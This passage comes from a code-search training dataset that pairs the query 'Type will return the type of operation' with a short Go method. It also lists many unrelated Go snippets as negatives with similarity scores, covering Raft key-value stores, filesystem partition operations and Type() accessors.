aliasMap[a.Alias]\\n\\tif isAliasContained {\\n\\t\\ttui.Debug(\\\"Alias %s already exists in alias file %s\\\", a.Alias, aliasMap)\\n\\t\\tif existingAlias != a.Command {\\n\\t\\t\\terrMessage := fmt.Sprintf(\\n\\t\\t\\t\\t\\\"Current command for alias '%s' (%s) is different than the requested (%s)\\\",\\n\\t\\t\\t\\ta.Alias, existingAlias, a.Command,\\n\\t\\t\\t)\\n\\t\\t\\treturn errors.New(errMessage)\\n\\t\\t} else {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t} else {\\n\\t\\taliasMap[a.Alias] = a.Command\\n\\t}\\n\\n\\ttui.Debug(\\\"Writing to %s\\\", aliasFilePath)\\n\\tif err = utils.WriteKeyValuesToFile(aliasMap, aliasFilePath); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (e *Element) Apply(element *Element) {\\n\\telement.Children = append(element.Children, e)\\n}\",\n \"func (a Vector) Apply(f func(float64) float64) {\\n\\tfor k := range a {\\n\\t\\ta[k] = f(a[k])\\n\\t}\\n}\",\n \"func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tif len(oa) == 1 {\\n\\t\\tfor _, v := range oa {\\n\\t\\t\\treturn value.NewValue(v), nil\\n\\t\\t}\\n\\t}\\n\\n\\treturn value.NULL_VALUE, nil\\n}\",\n \"func (mp *metaPartition) Apply(command []byte, index uint64) (resp interface{}, err error) {\\n\\tmsg := &MetaItem{}\\n\\tdefer func() {\\n\\t\\tif err == nil {\\n\\t\\t\\tmp.uploadApplyID(index)\\n\\t\\t}\\n\\t}()\\n\\tif err = msg.UnmarshalJson(command); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tswitch msg.Op {\\n\\tcase opFSMCreateInode:\\n\\t\\tino := NewInode(0, 0)\\n\\t\\tif err = ino.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif mp.config.Cursor < ino.Inode {\\n\\t\\t\\tmp.config.Cursor = ino.Inode\\n\\t\\t}\\n\\t\\tresp = mp.fsmCreateInode(ino)\\n\\tcase opFSMUnlinkInode:\\n\\t\\tino := NewInode(0, 0)\\n\\t\\tif err = ino.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmUnlinkInode(ino)\\n\\tcase opFSMUnlinkInodeBatch:\\n\\t\\tinodes, err := InodeBatchUnmarshal(msg.V)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tresp = mp.fsmUnlinkInodeBatch(inodes)\\n\\tcase opFSMExtentTruncate:\\n\\t\\tino := NewInode(0, 0)\\n\\t\\tif err = ino.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmExtentsTruncate(ino)\\n\\tcase opFSMCreateLinkInode:\\n\\t\\tino := NewInode(0, 0)\\n\\t\\tif err = ino.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmCreateLinkInode(ino)\\n\\tcase opFSMEvictInode:\\n\\t\\tino := NewInode(0, 0)\\n\\t\\tif err = ino.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmEvictInode(ino)\\n\\tcase opFSMEvictInodeBatch:\\n\\t\\tinodes, err := InodeBatchUnmarshal(msg.V)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tresp = mp.fsmBatchEvictInode(inodes)\\n\\tcase opFSMSetAttr:\\n\\t\\treq := &SetattrRequest{}\\n\\t\\terr = json.Unmarshal(msg.V, req)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\terr = mp.fsmSetAttr(req)\\n\\tcase opFSMCreateDentry:\\n\\t\\tden := &Dentry{}\\n\\t\\tif err = den.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmCreateDentry(den, false)\\n\\tcase opFSMDeleteDentry:\\n\\t\\tden := &Dentry{}\\n\\t\\tif err = den.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmDeleteDentry(den, false)\\n\\tcase opFSMDeleteDentryBatch:\\n\\t\\tdb, err := DentryBatchUnmarshal(msg.V)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tresp = mp.fsmBatchDeleteDentry(db)\\n\\tcase opFSMUpdateDentry:\\n\\t\\tden := &Dentry{}\\n\\t\\tif err = den.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmUpdateDentry(den)\\n\\tcase opFSMUpdatePartition:\\n\\t\\treq := &UpdatePartitionReq{}\\n\\t\\tif err = json.Unmarshal(msg.V, req); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp, err = mp.fsmUpdatePartition(req.End)\\n\\tcase opFSMExtentsAdd:\\n\\t\\tino := NewInode(0, 0)\\n\\t\\tif err = ino.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmAppendExtents(ino)\\n\\tcase opFSMExtentsAddWithCheck:\\n\\t\\tino := NewInode(0, 0)\\n\\t\\tif err = ino.Unmarshal(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp = mp.fsmAppendExtentsWithCheck(ino)\\n\\tcase opFSMStoreTick:\\n\\t\\tinodeTree := mp.getInodeTree()\\n\\t\\tdentryTree := mp.getDentryTree()\\n\\t\\textendTree := mp.extendTree.GetTree()\\n\\t\\tmultipartTree := mp.multipartTree.GetTree()\\n\\t\\tmsg := &storeMsg{\\n\\t\\t\\tcommand: opFSMStoreTick,\\n\\t\\t\\tapplyIndex: index,\\n\\t\\t\\tinodeTree: inodeTree,\\n\\t\\t\\tdentryTree: dentryTree,\\n\\t\\t\\textendTree: extendTree,\\n\\t\\t\\tmultipartTree: multipartTree,\\n\\t\\t}\\n\\t\\tmp.storeChan <- msg\\n\\tcase opFSMInternalDeleteInode:\\n\\t\\terr = mp.internalDelete(msg.V)\\n\\tcase opFSMInternalDeleteInodeBatch:\\n\\t\\terr = mp.internalDeleteBatch(msg.V)\\n\\tcase opFSMInternalDelExtentFile:\\n\\t\\terr = mp.delOldExtentFile(msg.V)\\n\\tcase opFSMInternalDelExtentCursor:\\n\\t\\terr = mp.setExtentDeleteFileCursor(msg.V)\\n\\tcase opFSMSetXAttr:\\n\\t\\tvar extend *Extend\\n\\t\\tif extend, err = NewExtendFromBytes(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\terr = mp.fsmSetXAttr(extend)\\n\\tcase opFSMRemoveXAttr:\\n\\t\\tvar extend *Extend\\n\\t\\tif extend, err = NewExtendFromBytes(msg.V); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\terr = mp.fsmRemoveXAttr(extend)\\n\\tcase opFSMCreateMultipart:\\n\\t\\tvar multipart *Multipart\\n\\t\\tmultipart = MultipartFromBytes(msg.V)\\n\\t\\tresp = mp.fsmCreateMultipart(multipart)\\n\\tcase opFSMRemoveMultipart:\\n\\t\\tvar multipart *Multipart\\n\\t\\tmultipart = MultipartFromBytes(msg.V)\\n\\t\\tresp = mp.fsmRemoveMultipart(multipart)\\n\\tcase opFSMAppendMultipart:\\n\\t\\tvar multipart *Multipart\\n\\t\\tmultipart = MultipartFromBytes(msg.V)\\n\\t\\tresp = mp.fsmAppendMultipart(multipart)\\n\\tcase opFSMSyncCursor:\\n\\t\\tvar cursor uint64\\n\\t\\tcursor = binary.BigEndian.Uint64(msg.V)\\n\\t\\tif cursor > mp.config.Cursor {\\n\\t\\t\\tmp.config.Cursor = cursor\\n\\t\\t}\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\\n\\terr := Err(OK)\\n\\tval, keyOk := kv.store[op.Key]\\n\\n\\t// only do the store modification if we haven't already\\n\\t// seen this request (can happen if a leader crashes after comitting\\n\\t// but before responding to client)\\n\\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\\n\\t\\tif op.OpType == \\\"Get\\\" && !keyOk {\\n\\t\\t\\t// Get\\n\\t\\t\\terr = Err(ErrNoKey)\\n\\t\\t} else if op.OpType == \\\"Put\\\" {\\n\\t\\t\\t// Put\\n\\t\\t\\tkv.store[op.Key] = op.Value\\n\\t\\t} else if op.OpType == \\\"Append\\\" {\\n\\t\\t\\t// Append (may need to just Put)\\n\\t\\t\\tif !keyOk {\\n\\t\\t\\t\\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tkv.store[op.Key] += op.Value\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tkv.Log(LogInfo, \\\"Store updated:\\\", kv.store)\\n\\t} else {\\n\\t\\tkv.Log(LogDebug, \\\"Skipping store update, detected duplicate command.\\\")\\n\\t}\\n\\n\\t// create the op, add the Value field if a Get\\n\\tappliedOp := KVAppliedOp{\\n\\t\\tTerm: opTerm,\\n\\t\\tIndex: opIndex,\\n\\t\\tKVOp: op,\\n\\t\\tErr: err,\\n\\t}\\n\\tif op.OpType == \\\"Get\\\" {\\n\\t\\tappliedOp.Value = val\\n\\t}\\n\\tkv.Log(LogDebug, \\\"Applied op\\\", appliedOp)\\n\\n\\t// update tracking of latest op applied\\n\\tkv.lastIndexApplied = appliedOp.Index\\n\\tkv.lastTermApplied = appliedOp.Term\\n\\treturn appliedOp\\n}\",\n \"func (entries *Entries) insert(entry Entry) Entry {\\n\\ti := entries.search(entry.Key())\\n\\n\\tif i == len(*entries) {\\n\\t\\t*entries = append(*entries, entry)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif (*entries)[i].Key() == entry.Key() {\\n\\t\\toldEntry := (*entries)[i]\\n\\t\\t(*entries)[i] = entry\\n\\t\\treturn oldEntry\\n\\t}\\n\\n\\t(*entries) = append(*entries, nil)\\n\\tcopy((*entries)[i+1:], (*entries)[i:])\\n\\t(*entries)[i] = entry\\n\\treturn nil\\n}\",\n \"func (this *ObjectInnerPairs) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := removeMissing(arg)\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = map[string]interface{}{\\\"name\\\": k, \\\"value\\\": oa[k]}\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (sm *ShardMaster) Update() {\\n\\tfor true {\\n\\t\\tlog := <- sm.applyCh\\n\\t\\ttp := log.Command.(Op)\\n\\t\\tvar cid int64\\n\\t\\tvar rid int\\n\\t\\tvar result OpReply\\n\\t\\tswitch tp.OpType{\\n\\t\\tcase Join:\\n\\t\\t\\targs := tp.Args.(JoinArgs)\\n\\t\\t\\tcid = args.ClientId\\n\\t\\t\\trid = args.RequestId\\n\\t\\t\\tresult.args = args\\n\\t\\tcase Leave:\\n\\t\\t\\targs := tp.Args.(LeaveArgs)\\n\\t\\t\\tcid = args.ClientId\\n\\t\\t\\trid = args.RequestId\\n\\t\\t\\tresult.args = args\\n\\t\\tcase Move:\\n\\t\\t\\targs := tp.Args.(MoveArgs)\\n\\t\\t\\tcid = args.ClientId\\n\\t\\t\\trid = args.RequestId\\n\\t\\t\\tresult.args = args\\n\\t\\tcase Query:\\n\\t\\t\\targs := tp.Args.(QueryArgs)\\n\\t\\t\\tcid = args.ClientId\\n\\t\\t\\trid = args.RequestId\\n\\t\\t\\tresult.args = args\\n\\t\\t}\\n\\t\\tresult.OpType = tp.OpType\\n\\t\\tdup := sm.duplication(cid, rid)\\n\\t\\tresult.reply = sm.getApply(tp, dup)\\n\\t\\tsm.sendResult(log.Index, result)\\n\\t\\tsm.Validation()\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.61009544","0.59140384","0.5795012","0.57819134","0.57488275","0.5550068","0.54835904","0.54824543","0.5445215","0.5312117","0.530991","0.53049093","0.52662474","0.5248166","0.5233655","0.5227144","0.5181192","0.51698935","0.5125097","0.51091605","0.51084024","0.5102788","0.50943506","0.507493","0.5072455","0.50515795","0.50474596","0.5033069","0.49948874","0.49811423","0.49765402","0.4975369","0.49533454","0.49255726","0.49180204","0.49095923","0.4891957","0.4859443","0.48471153","0.4844472","0.48330462","0.47747666","0.47597387","0.4750416","0.4749285","0.4735663","0.47355312","0.47259155","0.47167683","0.47161973","0.4709345","0.47052023","0.4699624","0.46723652","0.4657137","0.46503228","0.464533","0.46271798","0.46263522","0.46194887","0.46133217","0.46110687","0.45988625","0.45920056","0.45832005","0.45801014","0.45790485","0.45660278","0.45376205","0.4536543","0.45358822","0.45346302","0.4533713","0.4527829","0.4510055","0.45097062","0.4501838","0.45016107","0.45011646","0.44931272","0.44884664","0.44884664","0.44772762","0.44742188","0.4471841","0.44697678","0.44697678","0.44680882","0.44663468","0.44616792","0.4454416","0.44393313","0.4433389","0.44303712","0.44298366","0.4422498","0.44217262","0.44192687","0.4414805","0.4413089"],"string":"[\n \"0.61009544\",\n \"0.59140384\",\n \"0.5795012\",\n \"0.57819134\",\n \"0.57488275\",\n \"0.5550068\",\n \"0.54835904\",\n \"0.54824543\",\n \"0.5445215\",\n \"0.5312117\",\n \"0.530991\",\n \"0.53049093\",\n \"0.52662474\",\n \"0.5248166\",\n \"0.5233655\",\n \"0.5227144\",\n \"0.5181192\",\n \"0.51698935\",\n \"0.5125097\",\n \"0.51091605\",\n \"0.51084024\",\n \"0.5102788\",\n \"0.50943506\",\n \"0.507493\",\n \"0.5072455\",\n \"0.50515795\",\n \"0.50474596\",\n \"0.5033069\",\n \"0.49948874\",\n \"0.49811423\",\n \"0.49765402\",\n \"0.4975369\",\n \"0.49533454\",\n \"0.49255726\",\n \"0.49180204\",\n \"0.49095923\",\n \"0.4891957\",\n \"0.4859443\",\n \"0.48471153\",\n \"0.4844472\",\n \"0.48330462\",\n \"0.47747666\",\n \"0.47597387\",\n \"0.4750416\",\n \"0.4749285\",\n \"0.4735663\",\n \"0.47355312\",\n \"0.47259155\",\n \"0.47167683\",\n \"0.47161973\",\n \"0.4709345\",\n \"0.47052023\",\n \"0.4699624\",\n \"0.46723652\",\n \"0.4657137\",\n \"0.46503228\",\n \"0.464533\",\n \"0.46271798\",\n \"0.46263522\",\n \"0.46194887\",\n \"0.46133217\",\n \"0.46110687\",\n \"0.45988625\",\n \"0.45920056\",\n \"0.45832005\",\n \"0.45801014\",\n \"0.45790485\",\n \"0.45660278\",\n \"0.45376205\",\n \"0.4536543\",\n \"0.45358822\",\n \"0.45346302\",\n \"0.4533713\",\n \"0.4527829\",\n \"0.4510055\",\n \"0.45097062\",\n \"0.4501838\",\n \"0.45016107\",\n \"0.45011646\",\n \"0.44931272\",\n \"0.44884664\",\n \"0.44884664\",\n \"0.44772762\",\n \"0.44742188\",\n \"0.4471841\",\n \"0.44697678\",\n \"0.44697678\",\n \"0.44680882\",\n \"0.44663468\",\n \"0.44616792\",\n \"0.4454416\",\n \"0.44393313\",\n \"0.4433389\",\n \"0.44303712\",\n \"0.44298366\",\n \"0.4422498\",\n \"0.44217262\",\n \"0.44192687\",\n \"0.4414805\",\n \"0.4413089\"\n]"},"document_score":{"kind":"string","value":"0.72502"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106183,"cells":{"query":{"kind":"string","value":"Type will return the type of operation"},"document":{"kind":"string","value":"func (op *OpMove) Type() string {\n\treturn \"move\"\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}","func (op *OpAdd) Type() string {\n\treturn \"add\"\n}","func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}","func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}","func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}","func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}","func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}","func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}","func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}","func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}","func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}","func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}","func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}","func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}","func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}","func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}","func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}","func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}","func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}","func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}","func (*Int) GetOp() string { return \"Int\" }","func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}","func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}","func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }","func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}","func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}","func (s Spec) Type() string {\n\treturn \"exec\"\n}","func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}","func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}","func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (m *ToolMutation) Type() string {\n\treturn m.typ\n}","func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}","func (p RProc) Type() Type { return p.Value().Type() }","func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}","func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}","func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}","func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}","func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}","func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}","func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}","func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}","func (fn NoArgFunc) Type() Type { return fn.SQLType }","func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}","func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}","func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}","func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}","func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}","func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}","func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}","func (obj *standard) Operation() Operation {\n\treturn obj.op\n}","func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}","func (r *Reconciler) Type() string {\n\treturn Type\n}","func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}","func (m *SystemMutation) Type() string {\n\treturn m.typ\n}","func (f *Function) Type() ObjectType { return FUNCTION_OBJ }","func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}","func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}","func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}","func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}","func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}","func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}","func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}","func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}","func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}","func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}","func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}","func (Instr) Type() sql.Type { return sql.Int64 }","func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}","func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}","func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}","func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}","func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}","func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}","func (m *HexMutation) Type() string {\n\treturn m.typ\n}","func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}","func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}","func (m *StockMutation) Type() string {\n\treturn m.typ\n}","func (o *Function) Type() *Type {\n\treturn FunctionType\n}","func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}","func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}","func (e REnv) Type() Type { return e.Value().Type() }","func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}","func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}","func (c *Call) Type() Type {\n\treturn c.ExprType\n}","func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}","func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}","func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}"],"string":"[\n \"func (op *OperationProperty) Type() string {\\n\\treturn \\\"github.com/wunderkraut/radi-api/operation.Operation\\\"\\n}\",\n \"func (op *OpAdd) Type() string {\\n\\treturn \\\"add\\\"\\n}\",\n \"func (op *ConvertOperation) Type() OpType {\\n\\treturn TypeConvert\\n}\",\n \"func (op *TotalCommentRewardOperation) Type() OpType {\\n\\treturn TypeTotalCommentReward\\n}\",\n \"func (m *EqOp) Type() string {\\n\\treturn \\\"EqOp\\\"\\n}\",\n \"func (op *CommitteePayRequestOperation) Type() OpType {\\n\\treturn TypeCommitteePayRequest\\n}\",\n \"func (op *ProducerRewardOperationOperation) Type() OpType {\\n\\treturn TypeProducerRewardOperation\\n}\",\n \"func (op *TransitToCyberwayOperation) Type() OpType {\\n\\treturn TypeTransitToCyberway\\n}\",\n \"func (op *AuthorRewardOperation) Type() OpType {\\n\\treturn TypeAuthorReward\\n}\",\n \"func (m *StartsWithCompareOperation) Type() string {\\n\\treturn \\\"StartsWithCompareOperation\\\"\\n}\",\n \"func (op *OpFlatten) Type() string {\\n\\treturn \\\"flatten\\\"\\n}\",\n \"func (op *ProposalCreateOperation) Type() OpType {\\n\\treturn TypeProposalCreate\\n}\",\n \"func (m *IPInRangeCompareOperation) Type() string {\\n\\treturn \\\"IpInRangeCompareOperation\\\"\\n}\",\n \"func (m *OperativeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func getOperationType(op iop.OperationInput) (operationType, error) {\\n\\thasAccount := op.Account != nil\\n\\thasTransaction := op.Transaction != nil\\n\\tif hasAccount == hasTransaction {\\n\\t\\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \\\"account\\\" or \\\"transaction\\\" fields set`)\\n\\t}\\n\\tif hasAccount {\\n\\t\\treturn operationTypeCreateAccount, nil\\n\\t}\\n\\treturn operationTypePerformTransaction, nil\\n}\",\n \"func (m *DirectoryAudit) GetOperationType()(*string) {\\n return m.operationType\\n}\",\n \"func (op *FillVestingWithdrawOperation) Type() OpType {\\n\\treturn TypeFillVestingWithdraw\\n}\",\n \"func (d *DarwinKeyOperation) Type() string {\\n\\treturn d.KeyType\\n}\",\n \"func (op *ClaimRewardBalanceOperation) Type() OpType {\\n\\treturn TypeClaimRewardBalance\\n}\",\n \"func (m *OperativerecordMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (*Int) GetOp() string { return \\\"Int\\\" }\",\n \"func (m *UnaryOperatorOrd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ResetAccountOperation) Type() OpType {\\n\\treturn TypeResetAccount\\n}\",\n \"func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }\",\n \"func (op *OpRemove) Type() string {\\n\\treturn \\\"remove\\\"\\n}\",\n \"func (r *RegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (b *BitOp) Type() sql.Type {\\n\\trTyp := b.Right.Type()\\n\\tif 